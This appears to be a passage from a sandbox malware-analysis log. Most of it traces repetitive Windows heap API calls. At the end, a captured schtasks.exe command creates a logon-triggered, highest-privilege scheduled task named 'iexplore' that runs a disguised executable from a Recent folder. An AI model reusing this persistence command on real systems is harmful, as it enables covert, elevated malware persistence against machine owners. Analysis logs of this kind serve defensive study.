hHeap=0x280000, dwFlags=0x0, lpMem=0x29caf0 | out: hHeap=0x280000) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc70) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dc70) returned 0x4e [0152.579] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dc70 | out: hHeap=0x280000) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d540) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d540) returned 0x18 [0152.579] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d540 | out: hHeap=0x280000) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cac0) returned 1 [0152.579] GetProcessHeap () returned 0x280000 [0152.579] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cac0) returned 0x20 [0152.579] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cac0 | out: hHeap=0x280000) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcf0) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29dcf0) returned 0x50 [0152.580] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29dcf0 | out: hHeap=0x280000) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d520) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d520) returned 0x18 [0152.580] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d520 | out: hHeap=0x280000) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ca90) returned 1 [0152.580] GetProcessHeap () returned 0x280000 [0152.580] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ca90) returned 0x20 [0152.581] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ca90 | out: hHeap=0x280000) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d500) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d500) returned 0xe [0152.581] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d500 | out: hHeap=0x280000) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4e0) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d4e0) returned 0x18 [0152.581] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d4e0 | out: hHeap=0x280000) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295d30) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295d30) returned 0x20 [0152.581] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295d30 | out: hHeap=0x280000) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] GetProcessHeap () returned 0x280000 [0152.581] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbd0) returned 1 [0152.581] GetProcessHeap () returned 0x280000 [0152.582] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29bbd0) returned 0x208 [0152.582] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29bbd0 | out: hHeap=0x280000) returned 1 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba30) returned 1 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ba30) returned 0x18 [0152.582] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba30 | out: hHeap=0x280000) returned 1 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295c40) returned 1 [0152.582] GetProcessHeap () returned 0x280000 [0152.582] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295c40) returned 0x20 [0152.583] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295c40 | out: hHeap=0x280000) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d260) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d260) returned 0x200 [0152.583] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d260 | out: hHeap=0x280000) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba70) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ba70) returned 0x18 [0152.583] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba70 | out: hHeap=0x280000) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295bb0) returned 1 [0152.583] GetProcessHeap () returned 0x280000 [0152.583] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295bb0) returned 0x20 [0152.584] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295bb0 | out: hHeap=0x280000) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1e0) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c1e0) returned 0x14 [0152.584] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1e0 | out: hHeap=0x280000) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1c0) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c1c0) returned 0x18 [0152.584] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c1c0 | out: hHeap=0x280000) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295af0) returned 1 [0152.584] GetProcessHeap () returned 0x280000 [0152.584] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295af0) returned 0x20 [0152.585] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295af0 | out: hHeap=0x280000) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c200) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c200) returned 0x16 [0152.585] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c200 | out: hHeap=0x280000) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c180) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c180) returned 0x18 [0152.585] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c180 | out: hHeap=0x280000) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295ac0) returned 1 [0152.585] GetProcessHeap () returned 0x280000 [0152.585] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295ac0) returned 0x20 [0152.586] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295ac0 | out: hHeap=0x280000) returned 1 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9b0) returned 1 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b9b0) returned 0x2 [0152.586] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9b0 | out: hHeap=0x280000) returned 1 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295910) returned 1 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295910) returned 0x20 [0152.586] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295910 | out: hHeap=0x280000) returned 1 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] GetProcessHeap () returned 0x280000 [0152.586] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295940) returned 1 [0152.587] GetProcessHeap () returned 0x280000 [0152.587] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295940) returned 0x20 [0152.587] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295940 | out: hHeap=0x280000) returned 1 [0152.587] GetProcessHeap () returned 0x280000 [0152.587] GetProcessHeap () returned 0x280000 [0152.587] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295970) returned 1 [0152.587] GetProcessHeap () returned 0x280000 [0152.587] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295970) returned 0x20 [0152.588] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295970 | out: hHeap=0x280000) returned 1 [0152.588] GetProcessHeap () returned 0x280000 [0152.588] GetProcessHeap () returned 0x280000 [0152.588] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x2959a0) returned 1 [0152.588] GetProcessHeap () returned 0x280000 [0152.588] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2959a0) returned 0x20 [0152.589] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2959a0 | out: hHeap=0x280000) returned 1 [0152.589] GetProcessHeap () returned 0x280000 [0152.589] GetProcessHeap () returned 0x280000 [0152.589] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb20) returned 1 [0152.589] GetProcessHeap () returned 0x280000 [0152.589] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cb20) returned 0x20 [0152.589] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb20 | out: hHeap=0x280000) returned 1 [0152.589] GetProcessHeap () returned 0x280000 [0152.589] GetProcessHeap () returned 0x280000 [0152.589] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d640) returned 1 [0152.590] GetProcessHeap () returned 0x280000 [0152.590] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d640) returned 0xe [0152.590] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d640 | out: hHeap=0x280000) returned 1 [0152.590] GetProcessHeap () returned 0x280000 [0152.590] GetProcessHeap () returned 0x280000 [0152.590] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb50) returned 1 [0152.590] GetProcessHeap () returned 0x280000 [0152.590] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cb50) returned 0x20 [0152.591] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb50 | out: hHeap=0x280000) returned 1 [0152.591] GetProcessHeap () returned 0x280000 [0152.591] GetProcessHeap () returned 0x280000 [0152.591] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x297a30) returned 1 [0152.591] GetProcessHeap () returned 0x280000 [0152.591] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x297a30) returned 0x30 [0152.591] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x297a30 | out: hHeap=0x280000) returned 1 [0152.592] GetProcessHeap () returned 0x280000 [0152.592] GetProcessHeap () returned 0x280000 [0152.592] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb80) returned 1 [0152.592] GetProcessHeap () returned 0x280000 [0152.592] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cb80) returned 0x20 [0152.592] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cb80 | out: hHeap=0x280000) returned 1 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x297a70) returned 1 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x297a70) returned 0x30 [0152.593] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x297a70 | out: hHeap=0x280000) returned 1 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd00) returned 1 [0152.593] GetProcessHeap () returned 0x280000 [0152.593] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd00) returned 0x20 [0152.594] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd00 | out: hHeap=0x280000) returned 1 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d560) returned 1 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d560) returned 0xe [0152.594] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d560 | out: hHeap=0x280000) returned 1 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccd0) returned 1 [0152.594] GetProcessHeap () returned 0x280000 [0152.594] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ccd0) returned 0x20 [0152.595] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ccd0 | out: hHeap=0x280000) returned 1 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d580) returned 1 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d580) returned 0x16 [0152.595] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d580 | out: hHeap=0x280000) returned 1 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cca0) returned 1 [0152.595] GetProcessHeap () returned 0x280000 [0152.595] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cca0) returned 0x20 [0152.595] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cca0 | out: hHeap=0x280000) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5a0) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d5a0) returned 0x16 [0152.596] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5a0 | out: hHeap=0x280000) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc70) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc70) returned 0x20 [0152.596] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc70 | out: hHeap=0x280000) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x2b9ac0) returned 1 [0152.596] GetProcessHeap () returned 0x280000 [0152.596] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2b9ac0) returned 0x82 [0152.597] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2b9ac0 | out: hHeap=0x280000) returned 1 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc40) returned 1 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc40) returned 0x20 [0152.597] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc40 | out: hHeap=0x280000) returned 1 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5e0) returned 1 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d5e0) returned 0xe [0152.597] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d5e0 | out: hHeap=0x280000) returned 1 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] GetProcessHeap () returned 0x280000 [0152.597] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc10) returned 1 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cc10) returned 0x20 [0152.598] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc10 | out: hHeap=0x280000) returned 1 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d600) returned 1 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d600) returned 0xa [0152.598] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d600 | out: hHeap=0x280000) returned 1 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbe0) returned 1 [0152.598] GetProcessHeap () returned 0x280000 [0152.598] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cbe0) returned 0x20 [0152.598] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbe0 | out: hHeap=0x280000) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29d620) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29d620) returned 0xc [0152.599] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29d620 | out: hHeap=0x280000) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbb0) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cbb0) returned 0x20 [0152.599] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cbb0 | out: hHeap=0x280000) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9d0) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b9d0) returned 0x18 [0152.599] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9d0 | out: hHeap=0x280000) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] GetProcessHeap () returned 0x280000 [0152.599] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x2959d0) returned 1 [0152.599] GetProcessHeap () returned 0x280000 [0152.600] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2959d0) returned 0x20 [0152.600] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2959d0 | out: hHeap=0x280000) returned 1 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a00) returned 1 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a00) returned 0x20 [0152.600] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a00 | out: hHeap=0x280000) returned 1 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a30) returned 1 [0152.600] GetProcessHeap () returned 0x280000 [0152.600] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a30) returned 0x20 [0152.601] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a30 | out: hHeap=0x280000) returned 1 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a60) returned 1 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a60) returned 0x20 [0152.601] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a60 | out: hHeap=0x280000) returned 1 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9f0) returned 1 [0152.601] GetProcessHeap () returned 0x280000 [0152.601] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b9f0) returned 0x18 [0152.602] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b9f0 | out: hHeap=0x280000) returned 1 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295a90) returned 1 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295a90) returned 0x20 [0152.602] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295a90 | out: hHeap=0x280000) returned 1 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b20) returned 1 [0152.602] GetProcessHeap () returned 0x280000 [0152.602] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b20) returned 0x20 [0152.603] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b20 | out: hHeap=0x280000) returned 1 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b80) returned 1 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b80) returned 0x20 [0152.603] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b80 | out: hHeap=0x280000) returned 1 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295be0) returned 1 [0152.603] GetProcessHeap () returned 0x280000 [0152.603] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295be0) returned 0x20 [0152.603] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295be0 | out: hHeap=0x280000) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295c10) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295c10) returned 0x20 [0152.604] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295c10 | out: hHeap=0x280000) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba10) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ba10) returned 0x18 [0152.604] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ba10 | out: hHeap=0x280000) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x295b50) returned 1 [0152.604] GetProcessHeap () returned 0x280000 [0152.604] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x295b50) returned 0x20 [0152.605] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x295b50 | out: hHeap=0x280000) returned 1 [0152.605] GetProcessHeap () returned 0x280000 [0152.605] GetProcessHeap () returned 0x280000 [0152.605] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29b990) returned 1 [0152.605] GetProcessHeap () returned 0x280000 [0152.605] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b990) returned 0x18 [0152.605] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b990 | out: hHeap=0x280000) returned 1 [0152.605] exit (_Code=0) Thread: id = 179 os_tid = 0xc8c Process: id = "45" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40502000" os_pid = "0xc94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"iexplore\" /sc ONLOGON /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = 